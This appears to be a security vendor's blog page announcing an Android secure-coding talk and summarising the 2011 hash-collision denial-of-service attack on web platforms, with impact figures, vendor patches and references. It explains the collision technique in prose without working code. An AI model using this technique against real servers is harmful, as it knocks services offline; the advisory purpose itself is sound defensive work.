Katrina O'Neil, the founding member of HP Fortify's Security Research Group, will be speaking on Building Secure Android Apps at the Voices that Matter: Android Developers Conference in San Francisco from 11:30 - 12:45pm on Friday, February 10. Specifically, the talk will spend 75 minutes covering the following:

According to Google, Android was designed to give mobile developers “an excellent software platform for everyday users” on which to build rich applications for the growing mobile device market. The power and flexibility of the Android platform are undeniable, but where does it leave developers when it comes to security?

In this talk we discuss seven of the most interesting code-level security mistakes we’ve seen developers make in Android applications. We cover common errors ranging from the promiscuous or incorrect use of Android permissions to lax input validation that enables a host of exploits, such as query string injection. We discuss the root cause of each vulnerability, describe how attackers might exploit it, and share the results of our research applying static analysis to identify the issue. Specifically, we will show our successes and failures using static analysis to identify each type of vulnerability in real-world Android applications.

For a special early-bird discount, please use the priority code ANDSP36 and register for the conference before Friday the 13th of January.

For efficiency reasons, most web servers store the request parameters in a hash table. However, when a request contains many parameters, say 10000 parameters, and the hash values for the parameter names are all the same, then the web server will spend a lot of time parsing the request. In such scenario, the hash insertion is very slow because of hash collisions. Some people wrote about this before, but nobody really knew how to generate a large amount of multi-collision strings, until Dec 28th...

“alech” and “zeri” pointed out that most String hashing functions are either based on DJBX33A or DJBX33X algorithms which are vulnerable to “Equivalent substrings” and “Meet-in-the-middle” attacks respectively. DJBX33A has the property that if two strings collide, e.g. hash('ABC') = hash('XYZ'), then hashes having this substring at the same position collide as well, e.g. hash('prefixABCpostfix') = hash('prefixXYZpostfix'). Therefore, you can easily generate infinite number of collided strings by something like “ABCABC”, “ABCXYZ”, “XYZABC”, etc. DJBX33X is not vulnerable to “Equivalent substrings” attack but is vulnerable to “Meet-in-the-middle”. By using “Meet-in-the-middle”, an attacker can get collided strings with probability of around 1/2^16, which can easily be searched. By using these techniques, “alech” and “zeri” are able to DoS the following servers:

Server Name	Result
PHP	70-100kbit/s to keep one i7 core constantly busy Gigabit connection can keep about 10,000 i7 cores busy
ASP.NET	30kbit/s to keep one Core2 core constantly busy Gigabit connection can keep about 30,000 Core2 cores busy
Java Tomcat6	6 kbit/s can keep one i7 core constantly busy Gigabit connection can keep about 100,000 i7 cores busy
Python (32bit only)	20 kbit/s can keep one Core Duo core constantly busy Gigabit connection can keep about 50,000 Core Duo cores busy.
Ruby	850 bits/s can keep one i7 core busy Gigabit connection can keep about 1,000,000 i7 cores busy

Status:

• Microsoft released a patch (MS11-100) on Dec 29th. The patch adds a new ASPX config parameter “aspnet:MaxHttpCollectionKeys”, default value is 1,000.
• Tomcat released 7.0.23 and 6.0.35: new configuration parameter “maxParameterCount”, default value is 10,000.
• PHP released 5.4.0 RC4: new “max_input_vars” directive to prevent attacks based on hash collisions.

As it is not always possible to upgrade to the latest application server, it is still possible to patch your application server by writing custom rule in a product like HP Fortify RTA.

References:

• Original Paper http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf
• n.runs-SA-2011.004 Advisory http://www.nruns.com/_downloads/advisory28122011.pdf